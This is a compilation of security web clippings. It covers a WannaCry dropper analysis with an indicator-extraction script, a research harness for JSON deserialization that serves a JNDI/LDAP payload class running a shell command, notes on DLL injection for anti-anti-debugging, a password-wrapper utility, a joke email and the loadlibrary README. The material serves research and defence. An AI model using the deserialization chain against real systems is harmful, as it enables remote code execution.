width='624' height='297' alt='main_func_calls.png' />**

If the URL was not reachable, the execution flow would reach another function,
which we called InstallAsService. The function first obtained its fully
qualified path and checked if arguments were provided when it was executed. If
no arguments were provided the malware would reach the
CreateAndInstallAsServiceAndExtractResource function and exit. When one or
more arguments were provided it would change the service configuration with
the call to ChangeServiceConfig and set the main function of the service with
the call to StartServiceCtrlDispatcher.

<img
src='img/A81GE5VvqUdRBigm5kOcTojuG3iZiv9RIK5_3llU1FtgFAE_sKUuOVqs8psN7MSMHs7Q-F2biw930e17WztEkYzb3GlACv5k81k5WlYbh81uSRzJbRqSMkAGp1Jt9iFqkXeOCa-Y.png'
width='624' height='445' alt='install_as_service.png' />

The function CreateAndInstallAsServiceAndExtractResource called the
CreateAndStartService function followed by the ExtractResource function:

<img
src='img/NcgMC4z0uGv6hspXooQ3e3Bw5B2P_z5JFUdGNW_4YtUgFB3ed3CRTI9sYJSSAj25qt2M_ZAyAGwDPdxNvcoGGYKu0nTOkJzBAR8gGFiCTHP0mwz6O3al7R0raQjkCxuhzYJ9hsZz.png'
width='369' height='90'
alt='create_and_install_service_and_extract_resource.png' />

The former function created a new service named “mssecsvc2.0” with the
description “Microsoft Security Center \(2.0\) Service”. After that, it
configured the service to start on boot.

<img src='img/vXuxg2mEQ-vEW4v58Y0_y6MfJwKaj4S7jaEB7LBoHl-
vTYnEIF3teVpxbIOyW3Hi-Zwx6ubTzz-G8p0iMPhlYbxrmBHo_Z3CW9mrGsKYdEky_-
woPQ_IkIIf4kKpKGPHOBldD-4f.png' width='624' height='368'
alt='create_and_start_service.png' />

The latter function was a little bit more complex as it performed several
tasks. First, it used a common trick to use internal Windows functions without
being explicitly imported. This trick relies on the use of the calls to
GetModuleHandle and GetProcAddress to obtain a pointer to the desired Windows
API call. In this case, the sample used the trick to prepare calls to
CreateProcessA, CreateFileA, WriteFile and CloseHandle, which are commonly
used to create and write to files, and to create a new processes.

<img
src='img/SU5LbkBoWrVX47NEqoLA5Hv5BviZMK05Ty9YJzz5qk8Tjg6IOvOUy6JN_nIuIOETbeQ-
GGXLHCePMhT0LCW9NV-ej7nLacCZB1ilXpy6OQc3cy1IwM_0-lMlu9aHBRvXIuyezIyz.png'
width='624' height='747' alt='api_calls_trick.png' />

However, before using these previously loaded functions, the calls to
FindResourceA, LoadResource, LockResource and SizeofResource were used to
extract content from the Resource section. After extracting this information
and storing it on memory, the program continued with the execution of
MoveFileExA to backup the file C:\WINDOWS\tasksche.exe into
C:\WINDOWS\qeriuwjhrf.

<img
src='img/CvfC3XfrRiCRklEX7HbofEVDsdOCXD1jMmkzZ-5lw4m_0u1HJ1zIb1CSmqAwrvXwMG8c6LnT1q3djQcNhkeJZVMN7a7H3PBFAzZFoFYEbrhf8FWCk2ngFhBlBHKD8HAe5173Rkzw.png'
width='624' height='620' alt='extract_resource_detail.png' />

After that, the file C:\WINDOWS\tasksche.exe was created / overwritten with
the content of the previously extracted resource, that would be written by
using the functions loaded with the trick. Then the function executed
C:\WINDOWS\tasksche.exe /i through CreateProcessA \(0x431478\), and ended.

Going back to InstallService function, we checked with more detail what
happens when the binary is executed with one or more arguments. As we already
described, the malware would obtain the handle to the previously created
service, the “mssecsvc2.0”, change its configuration by calling
ChangeServiceConfig2, and later specify the pointer to the main function of
the service by calling CreateServiceCtrlDispatcher.

**<img
src='img/A81GE5VvqUdRBigm5kOcTojuG3iZiv9RIK5_3llU1FtgFAE_sKUuOVqs8psN7MSMHs7Q-F2biw930e17WztEkYzb3GlACv5k81k5WlYbh81uSRzJbRqSMkAGp1Jt9iFqkXeOCa-Y.png'
width='624' height='445' alt='install_as_service.png' />**

The function StartServiceCtrlDispatcher receives a pointer to an array of
SERVICE\_TABLE\_ENTRY structures. This structure has two variables, one that
contains the service name, and the other that contains the pointer to the main
function for the service.

Taking a look at address 0x0040810e, we could see a mov dword \[local\_ch\],
0x408000. This address specified as an operand, was the address of the main
function. Since radare2 did not analyze that function, as it can be considered
an indirect call, we could explicitly tell to analyze it by using the af
command: af @ 0x408000, and we named it ServiceMain.

**<img src='img/XHU3S2yIoMml3rw3iB-
GuWng1eGvm0xq67HJIA0AtV_P5zfCbYcRTO2aLVL7btJQrVzROisCa8gD-oQ62vyi3tOM-
csKcobqdS_NdKHtlsjymK6rBRtDY3G3R9oAlIINOUXaYYmG.png' width='624' height='184'
alt='service_main.png' />**

Diving into the ServiceMain function, we quickly observed that it would modify
the status of the service with SetServiceStatus, start a thread, and sleep for
0x5265c00 milliseconds \(i.e. 24 hours\) and call ExitProcess. The code of the
created thread was located at address 0x407720, as it could be observed in the
push instructions previous to the call to \_beginthreadex.

**<img src='img/ohNldV2vXeBGZk_D-
vAp9W7IASBZ9qFvpC5zYLW5WCdoOKq9naZmk5OWicAmsaGkm0dgyeyLBkS9DD1qj2H8qmQpBAoxEcTkMy-5crlv1NV47I5DPvvpe4NE3ZzdLMMyRQWG9iG6.png'
width='536' height='283' alt='service_main_thread_detail.png' />**

## **Conclusion**

All the behavior of the malware described until now belongs to the dropper of
the actual ransomware. By now, it is widely known that the WannaCry malware
spreads itself by exploiting an SMB vulnerability with the EternalBlue
\(MS17-010\) exploit. Without analysing further, we strongly believe that the
spreading functionality is implemented within the created thread, and that the
actual ransomware will be the executable that the dropper extracted from its
resource section.

The analysis of the spreading code and the actual ransomware binary is outside
the scope of this article, in which we wanted to give a quick dive into the
piece of malware that caused so many headaches for important companies around
the globe, by using free software tools.

Wrapping up, the execution flow described in the analysis can be represented
as follows:

**<img
src='img/dPC4V7IsLZbRTz8xuAFd3KJl7C5iKw59I83HPeKPNvHNe1iOm8qFaig91FoCeF8PxuLIDxzMW-5W4SCNT84Wq9VAnNODZIWk29A7dvPZBbUp80ONp0F2uvhHdue5Marc7cpcZLtO.png'
width='624' height='575' alt='Untitled Diagram (1).png' />**

The parts that are represented with a cloud are the areas that were not
covered in this analysis. The spreader will be executed with the installed
service and the ransomware is extracted from the resource section of the
binary and later executed.

Finally, we would like to provide a small python script that leverages the
power of radare2’s r2pipe that will extract the identified IOCs during this
short analysis so you can retrieve all these IOCs on your own. Obviously,
these are just a subset of all the IOCs that a full analysis would provide.
The script works for either version 1 and 2 of the malware.

**<img src='img/W5Iqv5er-
IzioMMloWIBgDtcMSaxx56IiFh9O0Wd6l9QftlW9SgZpbpxdMoH7QqZkt2557aJmxz2chggpOKUwsU7p_k5dZ52Bc8zcdHhzcb1REwWHp1uSFnyQLDhWmB4z4Urfdpv.png'
width='598' height='279' alt='r2pipe_script.png' />**

Also, just in case the reader would like to take a look at the sample, here
are the hashes \(SHA256\) of v1 and v2:

  * **V1: 24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c**
  * **V2: b9318a66fa7f50f2f3ecaca02a96268ad2c63db7554ea3acbde43bf517328d06**

###

### **Authors**

  * Giovanni López, Sergi Martínez and Albert López

**Scripts**

[code]

    **#!/usr/bin/env python
    
    import r2pipe
    import sys
    
    banner = """
             _   _             _    _____ ____  
        /\\  | | | |           | |  |_   _/ __ \\
       /  \\ | |_| |_ __ _  ___| | __ | || |  | |
      / /\\ \\| __| __/ _` |/ __| |/ / | || |  | |
     / ____ \\ |_| || (_| | (__| < _| || |__| |
    /_/    \\_\\__|\\__\\__,_|\\___|_|\\_\\_____\\___\\_\\
    
    WannaCry IOCs extractor - Powered by r2 (http://radare.org)\n
    """
    
    if len(sys.argv) != 2:
     print "usage: %s <wannacry_sample>"
     sys.exit(1)
    
    r2 = r2pipe.open(sys.argv[1])
    killswitch_domain = r2.cmd("ps @ 0x004313d0")
    
    service_description = r2.cmd("ps @ 0x431308")
    service_name = r2.cmd("ps @ 0x4312fc")
    service_program_fmtstr = r2.cmd("ps @ 0x431330")
    service_start_type = r2.cmdj("pdj 1 @ 0x00407c87")[0]["val"]
    
    filename_tasksche = r2.cmd("ps @ 0x43136c")
    filename_windir = r2.cmd("ps @ 0x431364")
    path_tasksche_fmtstr = r2.cmd("ps @ 0x431358")
    tasksche_fullpath = path_tasksche_fmtstr % (filename_windir, filename_tasksche)
    
    filename_qeri_fmtstr = r2.cmd("ps @ 0x431344")
    qeri_fullpath = filename_qeri_fmtstr % filename_windir
    
    original_filename = r2.cmd("psw @ 0x0038c344")
    
    print banner
    print "Hostname: %s" % killswitch_domain
    print "ServiceName: %s" % service_name
    print "ServiceDescription: %s" % service_description
    print "ServiceStartType: %s" % service_start_type
    print "FilePath: %s" % tasksche_fullpath
    print "FilePath: %s" % qeri_fullpath
    print "File: %s" % original_filename**
    
[/code]

###

### **IOCs**

  * **V1**

**Hostname: http://www.iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea\[.\]com  
ServiceName: mssecsvc2.0  
ServiceDescription: Microsoft Security Center \(2.0\) Service  
ServiceStartType: 2  
FilePath: C:\WINDOWS\tasksche.exe  
FilePath: C:\WINDOWS\qeriuwjhrf**

  * **V2**

**Hostname: http://www.ayylmaoTJHSSTasdfasdfasdfasdfasdfasdfasdf\[.\]com  
ServiceName: mssecsvc2.0  
ServiceDescription: Microsoft Security Center \(2.0\) Service  
ServiceStartType: 2  
FilePath: C:\WINDOWS\tasksche.exe  
FilePath: C:\WINDOWS\qeriuwjhrf**

  

#
WkdWbVlYVnNkR1J2YldGcGJueDBaVzUwWVdOdmJHOTJhVzlzWVh4bmVEbzFNVGd5T1RneVltVXlZV1kzTVdReQ==
\(application/pdf-Objekt\) THE next DOM level

**Created:**| _2/18/2013 1:13:24 PM_  
---|---  
**Updated:**| _2/18/2013 1:13:55 PM_  
**Author:**| __  
**Tags:**| _dom_  
  
<img src='img/https.pdf' />

# Backend script based on @pwntester JSON deserialization research

**Created:**| _9/23/2018 8:54:00 AM_  
---|---  
**Updated:**| _9/23/2018 8:54:00 AM_  
**Author:**| _wishi_  
**Tags:**| _json secure coding_  
  

  

# Backend script based on @pwntester JSON deserialization research

Backend script based on @pwntester JSON deserialization research

| \#\!/bin/bash  
---|---  
| echo "Starting Apache DS using docker @ ldap://localhost:10389"  
| docker run --name json-deser-ldap -d -p 10389:10389 greggigon/apacheds  
| echo "... waiting 20 seconds to start Apache DS"  
| sleep 20  
| \# password: secret, if used with LDAP login  
| \(cat <<"EOF"  
| dn: cn=deser,dc=example,dc=com  
| objectClass: top  
| objectClass: person  
| objectClass: inetOrgPerson  
| objectClass: organizationalPerson  
| objectClass: simpleSecurityObject  
| objectClass: javaNamingReference  
| javaCodebase: http://localhost:8000/  
| javaFactory: PayloadObject  
| javaClassName: PayloadObject  
| cn: deser  
| sn: deser  
| givenName: deser  
| mail: deser@example.com  
| userPassword:
\{SHA384\}WKd1ukESvjAFrkQHznV9iP2nHUBJe7gCbsrFTU4//HIyzo3jq1rLMK45dg/ufFPt  
| EOF  
| \) | docker exec -i json-deser-ldap ldapadd -x -H ldap://localhost:10389 -D "uid=admin,ou=system" -w secret  
| echo "Created cn=deser,dc=example,dc=com entry in LDAP"  
| \(cat <<"EOF"  
| public class PayloadObject \{  
|  public PayloadObject\(\) \{  
|  try \{  
|
System.out.println\("\n\n\n\n\n\n\n\n@@@@@@@@@@@@@@\npwned\n@@@@@@@@@@@@@@\n\n\n\n\n\n\n\n\n\n"\);  
|  Runtime.getRuntime\(\).exec\("touch /tmp/pwned"\);  
|  \} catch \(Exception e\) \{  
|  e.printStackTrace\(\);  
|  \}  
|  \}  
| \}  
| EOF  
| \) > PayloadObject.java; javac PayloadObject.java; rm PayloadObject.java  
| echo "Created PayloadObject.class"  
| echo "Starting SimpleHTTPServer @ localhost:8000, press CTRL+C to interrupt"  
| echo 'Example JSON PAYLOAD:
\{"org.hibernate.jmx.StatisticsService","sessionFactoryJNDIName":"ldap://localhost:10389/cn=deser,dc=example,dc=com"\}'  
| python -c "import SimpleHTTPServer;SimpleHTTPServer.test\(\)"  
| echo "Stopping LDAP"  
| docker stop json-deser-ldap  
| echo "Removing LDAP docker instance"  
| docker rm json-deser-ldap  
  

# census | withpass utility
**Created:**| _12/12/2010 12:19:07 PM_  
---|---  
**Updated:**| _12/12/2010 12:19:38 PM_  
**Author:**| __  
**Tags:**| _security tools Linux_  
  

## withpass - Protecting cleartext passwords at the command prompt

The "withpass" utility is useful when executing applications requiring a
cleartext password as a command line argument. "withpass" protects your
password, so that it does not appear on the terminal, on user logs \(e.g.
shell history\) or system logs \(e.g. exec-logs\).

### About

Applications that receive passwords as command line arguments are generally
frowned upon by systems administrators for \(at least\) four reasons:

  1. They lead to cleartext passwords being rendered on the terminal.
  2. They lead to cleartext passwords being recorded in the user's command history.
  3. They lead to cleartext passwords showing up on system-wide execution logs.
  4. They lead to cleartext passwords appearing on the process list output.

The "withpass" utility resolves issue \(a\) by allowing the user to supply the
password to a non-echoing interactive prompt \(see `getpass(3)`\).

It also resolves issue \(b\) by replacing the cleartext password at the
command line, with a placeholder \(%P\). "withpass" will execute the desired
application internally with a modified set of parameters, performing all the
necessary transformations of placeholders to passwords.

Issue \(c\) is only partially resolved by this utility. Some exec-loggers rely
on `LD_PRELOAD`-ing their own version of the execve\(\) wrapper into the
memory of the \(dynamically linked\) executed application. Such exec-loggers
are unable to log `execve()` calls performed by statically linked executables
\(since these come with their own version of the wrapper code\). The
"withpass" utility uses this trick \(i.e. static linking\) to avoid echoing
the password to the system-wide exec-logs. Of course, this only works for
`LD_PRELOAD`-based loggers \(like "snoopy"\).

Unfortunately, "withpass" can't do much about issue \(d\). Resolving this
issue would require modifications to the code of the executed applications.
Having said that, there are quite a few applications out there today that
zero-out \(or replace with other characters\) sensitive data that appear on
the process list output \(e.g. see "rdesktop"\).

### Usage

The user of "withpass" provides the password either at the interactive prompt
or as an environmental variable \(WITHPASS\). The environmental variable is
handy for scripts but only protects the user from having the password echoed
in execve\(\) logs.

### Installation

Compile "withpass" from source. Simply untar the source tar-ball and type
`"make"` to build the "withpass" executable, like so:

[code]

    $ tar -xjf withpass.tar.bz2
    $ cd withpass
    $ make
    gcc -Wall -static -o withpass withpass.c
    $
    
    
[/code]

If you wish to use a different compiler be sure to check the Makefile. Also,
make sure that the "withpass" utility ends up being statically linked. On
GNU/Linux systems you can verify this with the `ldd` utility:

[code]

    $ ldd withpass
         not a dynamic executable
    
    
[/code]

Finally, use the `"make install"` command as root, to install the "withpass"
binary under `"/usr/local/bin"`.

[code]

    $ su
    Password:
    # make install
    cp withpass /usr/local/bin
    #
    
    
[/code]

### Examples

Example invocations of withpass:

[code]

    $ withpass net rpc shutdown -t 0 -I 192.168.0.1 -Uuser%%P
    $ withpass wget --http-user u1 --http-password %P http://u.rl/1
    
    
[/code]

### Download

withpass \(source release, version 0.1,
md5sum:4ab1046655b0ec329f9d2b3081d818e7\)

### License

The "withpass" utility is free software licensed under the GPLv3.

### Author

Dimitris Glynos

# Malware Muncher: Towards an Anti-Anti-Reversing Framework

**Created:**| _11/7/2012 6:21:12 PM_  
---|---  
**Updated:**| _11/7/2012 6:21:12 PM_  
**Author:**| __  
**Tags:**| __  
  

# Towards an Anti-Anti-Reversing Framework

##  Abstract -- TL;DR

  * too many diverse anti-anti-reversing tools \(="pro-reversing"\)
  * idea: create open-source library of pro-reversing techniques
  * compile as DLL and inject it into process to be reversed 

##  Motivation

I really like reversing and really dislike anti-reversing techniques -- unless
my objective is to analyze them. So I've decided to think a bit about anti-
anti reversing reversing techniques or, as I like to call them: **pro-
reversing techniques**.

Again, I was motivated by my day job. A specimen of malware just did not want
to run in a debugged environment. The culprit was a debugger detection code,
which roughly looks like this:  
  
call ds:HeapCreate  
mov \[ebp+hHeap\], eax  
  
...  
  
mov edx, \[ebp+hHeap\]  
mov \[ebp+hHeap2\], edx  
mov eax, \[ebp+hHeap2\]  
mov cl, \[eax+8\]  
mov \[ebp+heap\_signature\], cl  
mov edx, \[ebp+hHeap2\]  
mov al, \[edx+0Ch\]  
mov \[ebp+heap\_flags\], al  
  
...  
  
movzx ecx, \[ebp+heap\_signature\]  
cmp ecx, 0FFh  
jnz short no\_debugger  
movzx edx, \[ebp+heap\_flags\]  
test edx, edx  
jz short no\_debugger  
jmp debugger\_detected  
  
no\_debugger:  
  
; do initialization stuff  
  
debugger\_detected:  
  
...

As you can see, a heap is created and after a bit of shuffling some fields are
checked. A very in-depth information about the various heap flags and fields
can be found here . In the current malware specimen the fields Signature
\(offset 0x8\) and Flags \(offset 0xC\) are being checked.Usually, the fields
Flags and ForceFlags \(offsets 0xC and 0x10, respectively\) are checked, as
both can be used as debugger check. Probably, again a case of malware authors
not properly checking their code ;-\)

###  Too Many Tools, Too Many Plugins

Another thing that annoys me is needing 1,000 plugins for 1,000 tools. If you
search for pro-reversing plugins for your favorite debugger, you will be
presented lots of choices. Take, for example, OllyDbg. The number of options
is overwhelming, you get

  * Anti Anti Hardware Breakpoint
  * Olly Advanced \(which is my favorite choice BTW\)
  * HideDebugger
  * IsDebuggerPresent
  * aadp4olly 
  * Anti-Anti
  * Robin

The list is by far not exhaustive and each plugin may have its own _raison
d'être_. However, the inner workings of most plugins is almost certainly the
same, as there's only a couple of frequently used anti-reversing techniques.
Hence, the wheel gets reinvented over and over again.

###  A Solution

So, why this article? The idea is simple: create an open library of pro-
reversing techniques \(naturally test-driven developed\) and put the whole
bunch of techniques into a DLL. This DLL can be injected into the process to
be analyzed and we can continue using our favorite analysis tools. Hence, you
won't need to sift the Internet for other pro-reversing techniques anymore
;-\)

###  But Why "Towards?"

The title of this article would not contain a "towards" if there was no catch,
however. The current version of the framework contains code that is test-
driven developed and has been tested under the following OS:

  * Windows XP 32 bit
  * Windows Vista 32 bit
  * Windows Vista 64 bit
  * Windows 7 32 bit
  * Windows 7 64 bit

I left Windows XP 64 bit out on purpose as it is rarely used. If anyone
requests it, I might give it a try, though.

Furthermore, the framework contains three pro-reversing techniques working
under all of the above environments:

  * PEB BeingDebugged 
  * NtGlobalFlags
  * Heap Flags and ForceFlag

We all know \(or should know\) Peter Ferrie's extensive list of anti-debugging
tricks , so implementation is straightforward. He explains everything needed
for implementing a pro-reversing technique and I shouldn't be at all surprised
if he already implemented each technique...

As my time is restricted, I want to start a small crowd-sourcing project: If
you stumble upon code that has anti-reversing properties, you are invited to
adding it to the framework yourself or send the sample to me and I will
implement the pro-reversing technique. Hence, the framework will grow with
each use.

##  Unit Testing of Pro-Reversing Techniques

As setting up a framework for testing debugger detection is far from trivial,
I will present the basic concept in this section. BTW: that's the reason why
this article took so long ;-\)

First off the easy part: testing the pro-reversing techniques is very easy, as
we are presented the testing code in the malware specimens we analyze. Namely,
they are the anti-reversing techniques themselves. For example, checking if
the BeingDebugged flag is set boils down to a call to the Windows API function
IsDebuggerPresent\(\).

Now, we have to implement a basic debugger, as we want to check if a\) the
anti-reversing technique and b\) the pro-reversing technique are correctly
working. Luckily, the Windows API  makes it very easy to write your own
debugger.

Now that we have a debugger, we also need a "debuggee", a standalone process
that executes the anti-reversing and pro-reversing techniques and checks if
they succeeded. For that purpose, I created a TCP server that executes a
debugger check upon request. During the unit tests, this server is then
started under the following environments:

  * without debugger
  * with debugger, but no pro-reversing techniques are enabled
  * with debugger and pro-reversing techniques enabled
  * with debugger and pro-reversing techniques enabled, then disabled 

The last test ensures the DLL can be unloaded without any side effects.

In my repository  you can already find the necessary tool to inject a DLL into
a new or running process. Furthermore, it offers the opportunity to leave the
process suspended after injection in order to facilitate reverse
engineering.The ProReverse library can be downloaded here .

###  Usage

Using the ProReverse library is very easy. Taking the sample mentioned above,
there are two opportunities to inject the DLL and debug the process:

  1. Start the process and inject the DLL at the beginning, then attach the debugger. Invoke
[code]    DllInjector.exe --run malware.exe --dll
c:\absolute\path\to\ProReverse.dll -s

    
[/code]

  
and then attach your favorite debugger and continue the process.

  2. Start the process in a debugger and inject the DLL afterwards. Start your debugger, load malware.exe and pause it anywhere you want. Then invoke
[code]    DllInjector.exe --pid 1234 --dll c:\absolute\path\to\ProReverse.dll

    
[/code]

  
1234 is the PID of malware.exe. In OllyDbg, I noticed that the injection
thread would not directly execute.  
In order to overcome this problem, I simply changed the instructions at EIP of
the malware to an endless loop \(in memory view, go to EIP and enter EB FE\),
then continued the process. Instantly, the DLL was being loaded and I could
change the bytes to the original ones, continuing reverse engineering the
malware.  
Maybe, I will write a DLL injection plugin just for OllyDbg ;-\)

Note: The path of the DLL doesn't have necessarily to be absolute, but under
normal circumstances the DLL will not be in the same working directory as the
malware to be analyzed.

# Can you explain encryption to me. | J4vv4D
**Created:**| _12/15/2011 2:14:51 PM_  
---|---  
**Updated:**| _12/15/2011 2:14:51 PM_  
**Author:**| __  
**Tags:**| _LOLZ_  
  

# Can you explain encryption to me.

Posted on December 15, 2011 by J4vv4D

**From:** Thomas, Kevin  
**Sent:** 24 August 2011 10:43  
**To:** Malik, Javvad  
**Subject:** Encryption

Jav

I’m updating the presentation pack for this months management meeting. Can you
send me a short description of encryption so the SLT can better understand the
solution.

Kev

****

**From:** Malik, Javvad  
**Sent:** 24 August 2011 11:03  
**To:** Thomas, Kevin  
**Subject:** Encryption

Hi Kevin,

Encryption is the process of transforming information using an algorithm to
make it unreadable to anyone except those possessing special knowledge,
usually referred to as a key. The result of the process is encrypted
information. In many contexts, the word encryption also implicitly refers to
the reverse process, decryption to make the encrypted information readable
again.

Thanks,

Javvad

**From:** Thomas, Kevin  
**Sent:** 24 August 2011 11:09  
**To:** Malik, Javvad  
**Subject:** Encryption

****

If I wanted the Wikipedia description I would have copied and pasted it
myself. I need a more business-speak definition.

**From:** Malik, Javvad  
**Sent:** 24 August 2011 12:52  
**To:** Thomas, Kevin  
**Subject:** Encryption

****

Sorry Kevin, I assumed that senior technology managers would have half a clue
about technology. I have thought long and hard about this and think the
easiest way to explain this would be to replace the word encryption with
witchcraft. It too is misunderstood by the masses at large, but conveys a
clearer message.

Witchcraft is the process of transforming information using an algorithm to
make it unreadable to anyone except those possessing special knowledge,
usually referred to as a key. The result of the process is witchcraft-ed
information. In many contexts, the word witchcraft also implicitly refers to
the reverse process, de-witchcrafting to make the witchcraft-ed information
readable again.

Regards,

Javvad

**From:** Thomas, Kevin  
**Sent:** 24 August 2011 13:24  
**To:** Malik, Javvad  
**Subject:** Encryption

********

stop messing around\!\!\! I need this urgently to finalise the presentation.

**From:** Malik, Javvad  
**Sent:** 24 August 2011 14:20  
**To:** Thomas, Kevin  
**Subject:** Encryption

********

Hi Kevin,

You’re right, it was naïve of me to think simply replacing one word would make
it simple and easy to understand. I’ve now also amended the other words
accordingly.

Witchcraft is the process of transforming a prince using a spell into a frog
using special knowledge, usually referred to as a spell. The result of the
process is witchcraft-ed prince who looks like a frog. In many contexts, the
word witchcraft also implicitly refers to the reverse process, de-
witchcrafting to make the witchcraft-ed frog a Prince again.

I’m sure you’ll find those senior managers who have daughters will
particularly like this analogy and be able to understand it in its correct
context now.

Regards,

Javvad

**From:** Thomas, Kevin  
**Sent:** 24 August 2011 14:43  
**To:** Malik, Javvad  
**Subject:** Encryption

********

Has anyone told you that you can be a right D1CK. Sort it out NOW\!

**From:** Malik, Javvad  
**Sent:** 24 August 2011 15:21  
**To:** Thomas, Kevin  
**Subject:** Encryption

********

Hi Kevin,

Not, to my face to be honest. But thanks for the feedback. I assume that you
are alluding to the fact I should include a pictorial description as senior
managers love charts. I have corrected this for you below.

Hope this helps

<img src='img/Temp2_1357.gif' width='425' height='108' alt='clip_image002' />

Javvad

****

**From:** Thomas, Kevin  
**Sent:** 24 August 2011 15:37  
**To:** Malik, Javvad  
**Subject:** Encryption

********

I don’t want your stupid diagram\!\!\!\! THIS IS URGENT. Get it done NOW\! I
have to send this off today.

**From:** Malik, Javvad  
**Sent:** 24 August 2011 16:00  
**To:** Thomas, Kevin  
**Subject:** Encryption

Hi Kevin,

Encryption is the process of transforming information using an algorithm to
make it unreadable to anyone except those possessing special knowledge,
usually referred to as a key. The result of the process is encrypted
information. In many contexts, the word encryption also implicitly refers to
the reverse process, decryption to make the encrypted information readable
again.

Thanks,

Javvad

**From:** Thomas, Kevin  
**Sent:** 24 August 2011 16:02  
**To:** Malik, Javvad  
**Subject:** Encryption

****

Was that so hard? Why couldn’t you have sent this the first time I asked
instead of wasting my time.

**From:** Malik, Javvad  
**Sent:** 24 August 2011 16:43  
**To:** Thomas, Kevin  
**Subject:** Encryption

I did…

# taviso/loadlibrary

**Created:**| _5/24/2017 11:50:17 AM_  
---|---  
**Updated:**| _5/24/2017 11:50:17 AM_  
**Author:**| __  
**Tags:**| _Debugging Linux windows environment awesome_  
  

  

# Porting Windows Dynamic Link Libraries to Linux

## Introduction

This repository contains a library that allows native Linux programs to load
and call functions from a Windows DLL.

As a demonstration, I've ported Windows Defender to Linux.

[code]

    $ ./mpclient eicar.com
    main(): Scanning eicar.com...
    EngineScanCallback(): Scanning input
    EngineScanCallback(): Threat Virus:DOS/EICAR_Test_File identified.
    
[/code]

### How does it work?

The `peloader` directory contains a custom PE/COFF loader derived from
ndiswrapper. The library will process the relocations and imports, then
provide a `dlopen`-like API. The code supports debugging with gdb \(including
symbols\), basic block coverage collection, and runtime hooking and patching.

<img
src='img/68747470733a2f2f6d656469612e67697068792e636f6d2f6d656469612f4c77416a54476453574e5259632f67697068792e676966.gif'
width='443' height='250' alt='Is such a thing even possible?' />

### What works?

The intention is to allow scalable and efficient fuzzing of self-contained
Windows libraries on Linux. Good candidates might be video codecs,
decompression libraries, virus scanners, image decoders, and so on.

  * C++ exception dispatch and unwinding.
  * Loading additional symbols from IDA.
  * Debugging with gdb \(including symbols\), breakpoints, stack traces, etc.
  * Runtime hooking and patching.
  * Support for ASAN and Valgrind to detect subtle memory corruption bugs.

If you need to add support for any external imports, writing stubs is usually
quick and easy.

### Why?

Distributed, scalable fuzzing on Windows can be challenging and inefficient.
This is especially true for endpoint security products, which use complex
interconnected components that span across kernel and user space. This often
requires spinning up an entire virtualized Windows environment to fuzz them or
collect coverage data.

This is less of a problem on Linux, and I've found that porting components of
Windows Antivirus products to Linux is often possible. This allows me to run
the code I’m testing in minimal containers with very little overhead, and
easily scale up testing.

This is just personal opinion, but I also think Linux has better tools.
`¯\_(ツ)_/¯`

## Windows Defender

MsMpEng is the Malware Protection service that is enabled by default on
Windows 8, 8.1, 10, Windows Server 2016, and so on. Additionally, Microsoft
Security Essentials, System Centre Endpoint Protection and various other
Microsoft security products share the same core engine.

The core component of MsMpEng responsible for scanning and analysis is called
mpengine. Mpengine is a vast and complex attack surface, comprising of
handlers for dozens of esoteric archive formats, executable packers, full
system emulators for various architectures and interpreters for various
languages. All of this code is accessible to remote attackers.

### Building

To build the test client, simply type `make`.

[code]

    $ make
    
[/code]

### Dependencies

Fedora / RedHat | Ubuntu / Debian | Comment  
---|---|---  
`glibc-devel.i686` | `libc6-dev:i386` |   
`libgcc.i686` | `gcc-multilib` |   
`readline-devel.i686` | `libreadline-dev:i386` | Optional, used in mpscript.  
`cabextract` | `cabextract` | Used to extract definitions.  
You will need to download the 32-bit antimalware update file from this page:

  * https://www.microsoft.com/security/portal/definitions/adl.aspx\#manual

This should be a direct link to the right file:

  * http://go.microsoft.com/fwlink/?LinkID=121721&arch=x86

This will download a file called `mpam-fe.exe`, which is a cabinet file that
can be extracted with `cabextract`. Extract the files into the `engine`
directory:

[code]

    $ cabextract mpam-fe.exe
    Extracting cabinet: mpam-fe.exe
      extracting MPSigStub.exe
      extracting mpavdlta.vdm
      extracting mpasdlta.vdm
      extracting mpavbase.vdm
      extracting mpasbase.vdm
      extracting mpengine.dll
    
    All done, no errors.
    
[/code]

If you want to know which version you got, try this:

[code]

    $ exiftool mpengine.dll | grep 'Product Version Number'
    Product Version Number          : 1.1.13701.0
    
[/code]

### Running

The main mpengine loader is called `mpclient`, it accepts filenames to scan as
a parameter.

[code]

    $ ./mpclient netsky.exe
    main(): Scanning netsky.exe...
    EngineScanCallback(): Scanning input
    EngineScanCallback(): Threat Worm:Win32/Netsky.P@mm identified.
    
[/code]

There are some other sample tools, `mpstreamfuzz` and `mpscript`.

### Debugging

If you want to debug a crash, single step through a routine or set
breakpoints, follow these examples. First, you need a map file from IDA.

Microsoft doesn't release public symbols for every build, and sometimes the
symbols lag behind for a few months after release. Make sure you're using an
mpengine version with public symbols available.

Use the following sample commandline to generate map and idb files.

[code]

    > idaw -A -P+ -S"createmap.idc mpengine.map" mpengine.dll
    
[/code]

If you generate the map files on Windows, you'll get CRLF line terminators,
fix them like this:

[code]

    $ dos2unix mpengine.map
    
[/code]

When you run mpclient under gdb, it will detect a debugger and print the
commands you need to enter to teach gdb about the symbols:

[code]

    $ gdb -q ./mpclient
    (gdb) r testfile.txt
    Starting program: mpclient
    main(): GDB: add-symbol-file engine/mpengine.dll 0xf6af4008+0x1000
    main(): GDB: shell bash genmapsym.sh 0xf6af4008+0x1000 symbols_19009.o < mpengine.map
    main(): GDB: add-symbol-file symbols_19009.o 0
    
    Program received signal SIGTRAP, Trace/breakpoint trap.
    0x0804d213 in main (argc=1, argv=0xffffcc64, envp=0xffffcc6c) at mpclient.c:156
    156	        __debugbreak();
    (gdb)
    
[/code]

If you enter the commands it shows into gdb, you will have symbols available.

[code]

    (gdb) add-symbol-file engine/mpengine.dll 0xf6af4008+0x1000
    add symbol table from file "engine/mpengine.dll" at
    	.text_addr = 0xf6af5008
    Reading symbols from engine/mpengine.dll...done.
    (gdb) shell bash genmapsym.sh 0xf6af4008+0x1000 symbols_19009.o < mpengine.map
    (gdb) add-symbol-file symbols_19009.o 0
    add symbol table from file "symbols_19009.o" at
    	.text_addr = 0x0
    Reading symbols from symbols_19009.o...done.
    (gdb) p as3_parsemetadata_swf_vars_t
    $1 = {void (void)} 0xf6feb842 <as3_parsemetadata_swf_vars_t>
    
[/code]

Then you can continue, and it will run as normal.

[code]

    (gdb) c
    
[/code]

Breakpoints, watchpoints and backtraces all work as normal, although it may be
